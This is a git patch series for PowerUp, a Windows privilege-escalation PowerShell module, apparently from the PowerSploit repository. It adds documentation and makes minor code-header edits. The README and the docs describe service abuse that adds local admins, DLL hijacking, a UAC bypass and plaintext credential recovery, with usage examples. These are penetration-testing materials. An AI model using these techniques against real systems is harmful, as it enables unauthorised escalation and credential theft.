for -Identity. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Owner + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Set-DomainUserPassword.md b/docs/Recon/Set-DomainUserPassword.md index 1712294..2dd111a 100755 --- a/docs/Recon/Set-DomainUserPassword.md +++ b/docs/Recon/Set-DomainUserPassword.md @@ -1,7 +1,7 @@ # Set-DomainUserPassword ## SYNOPSIS -Sets the password for a given user identity and returns the user object. +Sets the password for a given user identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause -- cgit v1.2.3 From 7964823e3f398c41a7ad1c0e8c4c28c0806a9c0d Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 11:53:29 -0500 Subject: Added documentation for PowerUp --- Privesc/PowerUp.ps1 | 190 ++++++++++----------- Privesc/Privesc.psd1 | 43 +++-- Privesc/README.md | 22 +-- docs/Privesc/Add-ServiceDacl.md | 68 ++++++++ docs/Privesc/Enable-Privilege.md | 105 ++++++++++++ docs/Privesc/Find-PathDLLHijack.md | 45 +++++ docs/Privesc/Find-ProcessDLLHijack.md | 127 ++++++++++++++ docs/Privesc/Get-ApplicationHost.md | 95 +++++++++++ docs/Privesc/Get-CachedGPPPassword.md | 55 ++++++ docs/Privesc/Get-ModifiablePath.md | 102 ++++++++++++ docs/Privesc/Get-ModifiableRegistryAutoRun.md | 44 +++++ docs/Privesc/Get-ModifiableScheduledTaskFile.md | 45 +++++ docs/Privesc/Get-ModifiableService.md | 40 +++++ docs/Privesc/Get-ModifiableServiceFile.md | 45 +++++ docs/Privesc/Get-ProcessTokenGroup.md | 114 +++++++++++++ docs/Privesc/Get-ProcessTokenPrivilege.md | 131 +++++++++++++++ docs/Privesc/Get-RegistryAlwaysInstallElevated.md | 45 +++++ docs/Privesc/Get-RegistryAutoLogon.md | 44 +++++ docs/Privesc/Get-ServiceDetail.md | 65 ++++++++ docs/Privesc/Get-SiteListPassword.md | 96 +++++++++++ docs/Privesc/Get-System.md | 172 +++++++++++++++++++ docs/Privesc/Get-UnattendedInstallFile.md | 44 +++++ docs/Privesc/Get-UnquotedService.md | 45 +++++ docs/Privesc/Get-WebConfig.md | 93 +++++++++++ docs/Privesc/Install-ServiceBinary.md | 175 +++++++++++++++++++ docs/Privesc/Invoke-PrivescAudit.md | 63 +++++++ docs/Privesc/Invoke-ServiceAbuse.md | 194 ++++++++++++++++++++++ docs/Privesc/Invoke-WScriptUACBypass.md | 85 ++++++++++ docs/Privesc/Restore-ServiceBinary.md | 87 ++++++++++ docs/Privesc/Set-ServiceBinaryPath.md | 92 ++++++++++ docs/Privesc/Test-ServiceDaclPermission.md | 112 +++++++++++++ docs/Privesc/Write-HijackDll.md | 173 +++++++++++++++++++ docs/Privesc/Write-ServiceBinary.md | 191 +++++++++++++++++++++ docs/Privesc/Write-UserAddMSI.md | 56 +++++++ docs/Privesc/index.md | 55 ++++++ docs/index.md | 1 + mkdocs.yml | 34 ++++ 37 files changed, 3067 insertions(+), 126 deletions(-) create mode 100755 docs/Privesc/Add-ServiceDacl.md create mode 100755 docs/Privesc/Enable-Privilege.md create mode 100755 docs/Privesc/Find-PathDLLHijack.md create mode 100755 docs/Privesc/Find-ProcessDLLHijack.md create mode 100755 docs/Privesc/Get-ApplicationHost.md create mode 100755 docs/Privesc/Get-CachedGPPPassword.md create mode 100755 docs/Privesc/Get-ModifiablePath.md create mode 100755 docs/Privesc/Get-ModifiableRegistryAutoRun.md create mode 100755 docs/Privesc/Get-ModifiableScheduledTaskFile.md create mode 100755 docs/Privesc/Get-ModifiableService.md create mode 100755 docs/Privesc/Get-ModifiableServiceFile.md create mode 100755 docs/Privesc/Get-ProcessTokenGroup.md create mode 100755 docs/Privesc/Get-ProcessTokenPrivilege.md create mode 100755 docs/Privesc/Get-RegistryAlwaysInstallElevated.md create mode 100755 docs/Privesc/Get-RegistryAutoLogon.md create mode 100755 docs/Privesc/Get-ServiceDetail.md create mode 100755 docs/Privesc/Get-SiteListPassword.md create mode 100755 docs/Privesc/Get-System.md create mode 100755 docs/Privesc/Get-UnattendedInstallFile.md create mode 100755 docs/Privesc/Get-UnquotedService.md create mode 100755 docs/Privesc/Get-WebConfig.md create mode 100755 docs/Privesc/Install-ServiceBinary.md create mode 100755 docs/Privesc/Invoke-PrivescAudit.md create mode 100755 docs/Privesc/Invoke-ServiceAbuse.md create mode 100755 docs/Privesc/Invoke-WScriptUACBypass.md create mode 100755 docs/Privesc/Restore-ServiceBinary.md create mode 100755 docs/Privesc/Set-ServiceBinaryPath.md create mode 100755 docs/Privesc/Test-ServiceDaclPermission.md create mode 100755 docs/Privesc/Write-HijackDll.md create mode 100755 docs/Privesc/Write-ServiceBinary.md create mode 100755 docs/Privesc/Write-UserAddMSI.md create mode 100644 docs/Privesc/index.md (limited to 'docs') diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 6fffef0..8ad9044 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -739,9 +739,9 @@ function Get-ModifiablePath { Parses a passed string containing multiple possible file/folder paths and returns the file paths where the current user has modification rights. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -935,9 +935,9 @@ function Get-TokenInformation { Helpers that returns token groups or privileges for a passed process/thread token. Used by Get-ProcessTokenGroup and Get-ProcessTokenPrivilege. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1065,9 +1065,9 @@ function Get-ProcessTokenGroup { Returns all SIDs that the current token context is a part of, whether they are disabled or not. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Get-TokenInformation +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation .DESCRIPTION @@ -1197,9 +1197,9 @@ function Get-ProcessTokenPrivilege { Returns all privileges for the current (or specified) process ID. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect, Get-TokenInformation +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect, Get-TokenInformation .DESCRIPTION @@ -1354,9 +1354,9 @@ function Enable-Privilege { Enables a specific privilege for the current process. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1451,9 +1451,9 @@ function Add-ServiceDacl { Adds a Dacl field to a service object returned by Get-Service. -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1567,9 +1567,9 @@ function Set-ServiceBinaryPath { Sets the binary path for a service to a specified value. -Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: PSReflect +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect .DESCRIPTION @@ -1688,9 +1688,9 @@ function Test-ServiceDaclPermission { Tests one or more passed services or service names against a given permission set, returning the service objects where the current user have the specified permissions. -Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: Add-ServiceDacl +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Add-ServiceDacl .DESCRIPTION @@ -1868,9 +1868,9 @@ function Get-UnquotedService { Returns the name and binary path for services with unquoted paths that also have a space in the name. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath, Test-ServiceDaclPermission .DESCRIPTION @@ -1931,9 +1931,9 @@ function Get-ModifiableServiceFile { Enumerates all services and returns vulnerable service files. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Test-ServiceDaclPermission +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath .DESCRIPTION @@ -1989,9 +1989,9 @@ function Get-ModifiableService { Enumerates all services and returns services for which the current user can modify the binPath. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Test-ServiceDaclPermission +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail .DESCRIPTION @@ -2036,9 +2036,9 @@ function Get-ServiceDetail { Returns detailed information about a specified service by querying the WMI win32_service class for the specified service name. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2109,9 +2109,9 @@ function Invoke-ServiceAbuse { Abuses a function the current user has configuration rights on in order to add a local administrator or execute a custom command. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath .DESCRIPTION @@ -2346,9 +2346,9 @@ function Write-ServiceBinary { Patches in the specified command to a pre-compiled C# service executable and writes the binary out to the specified ServicePath location. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2529,9 +2529,9 @@ function Install-ServiceBinary { Replaces the service binary for the specified service with one that executes a specified command as SYSTEM. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath, Write-ServiceBinary .DESCRIPTION @@ -2698,9 +2698,9 @@ function Restore-ServiceBinary { Restores a service binary backed up by Install-ServiceBinary. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ServiceDetail, Get-ModifiablePath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ServiceDetail, Get-ModifiablePath .DESCRIPTION @@ -2793,9 +2793,9 @@ function Find-ProcessDLLHijack { Finds all DLL hijack locations for currently running processes. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -2948,9 +2948,9 @@ function Find-PathDLLHijack { Finds all directories in the system %PATH% that are modifiable by the current user. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: Get-ModifiablePath +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath .DESCRIPTION @@ -3001,9 +3001,9 @@ function Write-HijackDll { Patches in the path to a specified .bat (containing the specified command) into a pre-compiled hijackable C++ DLL writes the DLL out to the specified ServicePath location. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3229,9 +3229,9 @@ function Get-RegistryAlwaysInstallElevated { Checks if any of the AlwaysInstallElevated registry keys are set. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3298,9 +3298,9 @@ function Get-RegistryAutoLogon { Finds any autologon credentials left in the registry. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3361,9 +3361,9 @@ function Get-ModifiableRegistryAutoRun { Returns any elevated system autoruns in which the current user can modify part of the path string. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath .DESCRIPTION @@ -3439,9 +3439,9 @@ function Get-ModifiableScheduledTaskFile { Returns scheduled tasks where the current user can modify any file in the associated task action string. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath .DESCRIPTION @@ -3518,9 +3518,9 @@ function Get-UnattendedInstallFile { Checks several locations for remaining unattended installation files, which may have deployment credentials. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .EXAMPLE @@ -3577,9 +3577,9 @@ function Get-WebConfig { This script will recover cleartext and encrypted connection strings from all web.config files on the system. Also, it will decrypt them if needed. -Author: Scott Sutherland, Antti Rantasaari -License: BSD 3-Clause -Required Dependencies: None +Author: Scott Sutherland, Antti Rantasaari +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3791,9 +3791,9 @@ function Get-ApplicationHost { Recovers encrypted application pool and virtual directory passwords from the applicationHost.config on the system. -Author: Scott Sutherland -License: BSD 3-Clause -Required Dependencies: None +Author: Scott Sutherland +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -3952,10 +3952,10 @@ function Get-SiteListPassword { Retrieves the plaintext passwords for found McAfee's SiteList.xml files. Based on Jerome Nokin (@funoverip)'s Python solution (in links). -Author: Jerome Nokin (@funoverip) -PowerShell Port: @harmj0y -License: BSD 3-Clause -Required Dependencies: None +Author: Jerome Nokin (@funoverip) +PowerShell Port: @harmj0y +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4153,9 +4153,9 @@ function Get-CachedGPPPassword { Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences and left in cached files on the host. -Author: Chris Campbell (@obscuresec), local cache mods by @harmj0y -License: BSD 3-Clause -Required Dependencies: None +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4360,9 +4360,9 @@ function Write-UserAddMSI { Writes out a precompiled MSI installer that prompts for a user/group addition. This function can be used to abuse Get-RegistryAlwaysInstallElevated. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4414,9 +4414,9 @@ function Invoke-WScriptUACBypass { Performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe. -Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie -License: BSD 3-Clause -Required Dependencies: None +Author: Matt Nelson (@enigma0x3), Will Schroeder (@harmj0y), Vozzie +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4650,9 +4650,9 @@ function Invoke-PrivescAudit { Executes all functions that check for various Windows privilege escalation opportunities. -Author: Will Schroeder (@harmj0y) -License: BSD 3-Clause -Required Dependencies: None +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None .DESCRIPTION @@ -4979,4 +4979,6 @@ $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $NTDll = $Types['ntdll'] +Set-Alias Get-CurrentUserTokenGroupSid Get-ProcessTokenGroup +Set-Alias Get-UnquotedService Get-UnquotedService Set-Alias Invoke-AllChecks Invoke-PrivescAudit diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index fb66225..6d4e3bd 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -23,37 +23,36 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( - 'Add-ServiceDacl', - 'Enable-Privilege', - 'Find-PathDLLHijack', - 'Find-ProcessDLLHijack', - 'Get-ApplicationHost', - 'Get-CachedGPPPassword', 'Get-ModifiablePath', - 'Get-ModifiableRegistryAutoRun', - 'Get-ModifiableScheduledTaskFile', - 'Get-ModifiableService', - 'Get-ModifiableServiceFile', 'Get-ProcessTokenGroup', 'Get-ProcessTokenPrivilege', + 'Enable-Privilege', + 'Add-ServiceDacl', + 'Set-ServiceBinaryPath', + 'Test-ServiceDaclPermission', + 'Get-UnquotedService', + 'Get-ModifiableServiceFile', + 'Get-ModifiableService', + 'Get-ServiceDetail', + 'Invoke-ServiceAbuse', + 'Write-ServiceBinary', + 'Install-ServiceBinary', + 'Restore-ServiceBinary', + 'Find-ProcessDLLHijack', + 'Find-PathDLLHijack', + 'Write-HijackDll', 'Get-RegistryAlwaysInstallElevated', 'Get-RegistryAutoLogon', - 'Get-ServiceDetail', - 'Get-SiteListPassword', - 'Get-TokenInformation', - 'Get-UnquotedService', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', 'Get-UnattendedInstallFile', 'Get-WebConfig', - 'Install-ServiceBinary', - 'Invoke-ServiceAbuse', + 'Get-ApplicationHost', + 'Get-SiteListPassword', + 'Get-CachedGPPPassword', + 'Write-UserAddMSI', 'Invoke-WScriptUACBypass', 'Invoke-PrivescAudit', - 'Restore-ServiceBinary', - 'Set-ServiceBinaryPath', - 'Test-ServiceDaclPermission', - 'Write-UserAddMSI', - 'Write-HijackDll', - 'Write-ServiceBinary', 'Get-System' ) diff --git a/Privesc/README.md b/Privesc/README.md index d5b499c..ac161d8 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -27,13 +27,18 @@ Required Dependencies: None Optional Dependencies: None -### Service Enumeration: - Get-ServiceUnquoted - returns services with unquoted paths that also have a space in the name +### Token/Privilege Enumeration/Abuse: + Get-ProcessTokenGroup - returns all SIDs that the current token context is a part of, whether they are disabled or not + Get-ProcessTokenPrivilege - returns all privileges for the current (or specified) process ID + Enable-Privilege - enables a specific privilege for the current process + +### Service Enumeration/Abuse: + Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set + Get-UnquotedService - returns services with unquoted paths that also have a space in the name Get-ModifiableServiceFile - returns services where the current user can write to the service binary path or its config Get-ModifiableService - returns services the current user can modify Get-ServiceDetail - returns detailed information about a specified service - -### Service Abuse: + Set-ServiceBinaryPath - sets the binary path for a service to a specified value Invoke-ServiceAbuse - modifies a vulnerable service to create a local admin or execute a custom command Write-ServiceBinary - writes out a patched C# service binary that adds a local admin or executes a custom command Install-ServiceBinary - replaces a service binary with one that adds a local admin or executes a custom command @@ -45,7 +50,7 @@ Optional Dependencies: None Write-HijackDll - writes out a hijackable DLL ### Registry Checks: - Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set + Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set Get-RegistryAutoLogon - checks for Autologon credentials in the registry Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns @@ -59,9 +64,6 @@ Optional Dependencies: None ### Other Helpers/Meta-Functions: Get-ModifiablePath - tokenizes an input string and returns the files in it the current user can modify - Get-CurrentUserTokenGroupSid - returns all SIDs that the current user is a part of, whether they are disabled or not - Add-ServiceDacl - adds a Dacl field to a service object returned by Get-Service - Set-ServiceBinPath - sets the binary path for a service to a specified value through Win32 API methods - Test-ServiceDaclPermission - tests one or more passed services or service names against a given permission set Write-UserAddMSI - write out a MSI installer that prompts for a user to be added - Invoke-AllChecks - runs all current escalation checks and returns a report + Invoke-WScriptUACBypass - performs the bypass UAC attack by abusing the lack of an embedded manifest in wscript.exe + Invoke-PrivescAudit - runs all current escalation checks and returns a report (formerly Invoke-AllChecks) diff --git a/docs/Privesc/Add-ServiceDacl.md b/docs/Privesc/Add-ServiceDacl.md new file mode 100755 index 0000000..13e4d64 --- /dev/null +++ b/docs/Privesc/Add-ServiceDacl.md @@ -0,0 +1,68 @@ +# Add-ServiceDacl + +## SYNOPSIS +Adds a Dacl field to a service object returned by Get-Service. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Add-ServiceDacl [-Name] +``` + +## DESCRIPTION +Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a +Dacl field to each object. +It does this by opening a handle with ReadControl for the +service with using the GetServiceHandle Win32 API call and then uses +QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Service | Add-ServiceDacl +``` + +Add Dacls for every service the current user can read. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Service -Name VMTools | Add-ServiceDacl +``` + +Add the Dacl to the VMTools service object. + +## PARAMETERS + +### -Name +An array of one or more service names to add a service Dacl for. +Passable on the pipeline. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ServiceName + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### ServiceProcess.ServiceController + +## NOTES + +## RELATED LINKS + +[https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) + diff --git a/docs/Privesc/Enable-Privilege.md b/docs/Privesc/Enable-Privilege.md new file mode 100755 index 0000000..6de9c43 --- /dev/null +++ b/docs/Privesc/Enable-Privilege.md @@ -0,0 +1,105 @@ +# Enable-Privilege + +## SYNOPSIS +Enables a specific privilege for the current process. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +## SYNTAX + +``` +Enable-Privilege [-Privilege] +``` + +## DESCRIPTION +Uses RtlAdjustPrivilege to enable a specific privilege for the current process. +Privileges can be passed by string, or the output from Get-ProcessTokenPrivilege +can be passed on the pipeline. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege DISABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +Enable-Privilege SeShutdownPrivilege + +Get-ProcessTokenPrivilege + + Privilege Attributes ProcessId + --------- ---------- --------- + SeShutdownPrivilege SE_PRIVILEGE_ENABLED 3620 + SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 3620 + SeUndockPrivilege DISABLED 3620 +SeIncreaseWorkingSetPrivilege DISABLED 3620 + SeTimeZonePrivilege DISABLED 3620 + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-ProcessTokenPrivilege +``` + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege DISABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege DISABLED 2828 +SeIncreaseWorkingSetPrivilege DISABLED 2828 +SeTimeZonePrivilege DISABLED 2828 + + +Get-ProcessTokenPrivilege | Enable-Privilege -Verbose +VERBOSE: Attempting to enable SeShutdownPrivilege +VERBOSE: Attempting to enable SeChangeNotifyPrivilege +VERBOSE: Attempting to enable SeUndockPrivilege +VERBOSE: Attempting to enable SeIncreaseWorkingSetPrivilege +VERBOSE: Attempting to enable SeTimeZonePrivilege + +Get-ProcessTokenPrivilege + +Privilege Attributes ProcessId +--------- ---------- --------- +SeShutdownPrivilege SE_PRIVILEGE_ENABLED 2828 +SeChangeNotifyPrivilege ...AULT, SE_PRIVILEGE_ENABLED 2828 +SeUndockPrivilege SE_PRIVILEGE_ENABLED 2828 +SeIncreaseWorkingSetPrivilege SE_PRIVILEGE_ENABLED 2828 +SeTimeZonePrivilege SE_PRIVILEGE_ENABLED 2828 + +## PARAMETERS + +### -Privilege +{{Fill Privilege Description}} + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Privileges + +Required: True +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html](http://forum.sysinternals.com/tip-easy-way-to-enable-privileges_topic15745.html) + diff --git a/docs/Privesc/Find-PathDLLHijack.md b/docs/Privesc/Find-PathDLLHijack.md new file mode 100755 index 0000000..f43fc69 --- /dev/null +++ b/docs/Privesc/Find-PathDLLHijack.md @@ -0,0 +1,45 @@ +# Find-PathDLLHijack + +## SYNOPSIS +Finds all directories in the system %PATH% that are modifiable by the current user. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-ModifiablePath + +## SYNTAX + +``` +Find-PathDLLHijack +``` + +## DESCRIPTION +Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath +to return the folder paths the current user can write to. +On Windows 7, if wlbsctrl.dll is +written to one of these paths, execution for the IKEEXT can be hijacked due to DLL search +order loading. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-PathDLLHijack +``` + +Finds all %PATH% .DLL hijacking opportunities. + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +### PowerUp.HijackableDLL.Path + +## NOTES + +## RELATED LINKS + +[http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738) + diff --git a/docs/Privesc/Find-ProcessDLLHijack.md b/docs/Privesc/Find-ProcessDLLHijack.md new file mode 100755 index 0000000..bbece58 --- /dev/null +++ b/docs/Privesc/Find-ProcessDLLHijack.md @@ -0,0 +1,127 @@ +# Find-ProcessDLLHijack + +## SYNOPSIS +Finds all DLL hijack locations for currently running processes. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Find-ProcessDLLHijack [[-Name] ] [-ExcludeWindows] [-ExcludeProgramFiles] [-ExcludeOwned] +``` + +## DESCRIPTION +Enumerates all currently running processes with Get-Process (or accepts an +input process object from Get-Process) and enumerates the loaded modules for each. +All loaded module name exists outside of the process binary base path, as those +are DLL load-order hijack candidates. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-ProcessDLLHijack +``` + +Finds possible hijackable DLL locations for all processes. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-Process VulnProcess | Find-ProcessDLLHijack +``` + +Finds possible hijackable DLL locations for the 'VulnProcess' processes. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-ProcessDLLHijack -ExcludeWindows -ExcludeProgramFiles +``` + +Finds possible hijackable DLL locations not in C:\Windows\* and +not in C:\Program Files\* or C:\Program Files (x86)\* + +### -------------------------- EXAMPLE 4 -------------------------- +``` +Find-ProcessDLLHijack -ExcludeOwned +``` + +Finds possible hijackable DLL location for processes not owned by the +current user. + +## PARAMETERS + +### -Name +The name of a process to enumerate for possible DLL path hijack opportunities. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: ProcessName + +Required: False +Position: 1 +Default value: $(Get-Process | Select-Object -Expand Name) +Accept pipeline input: True (ByPropertyName, 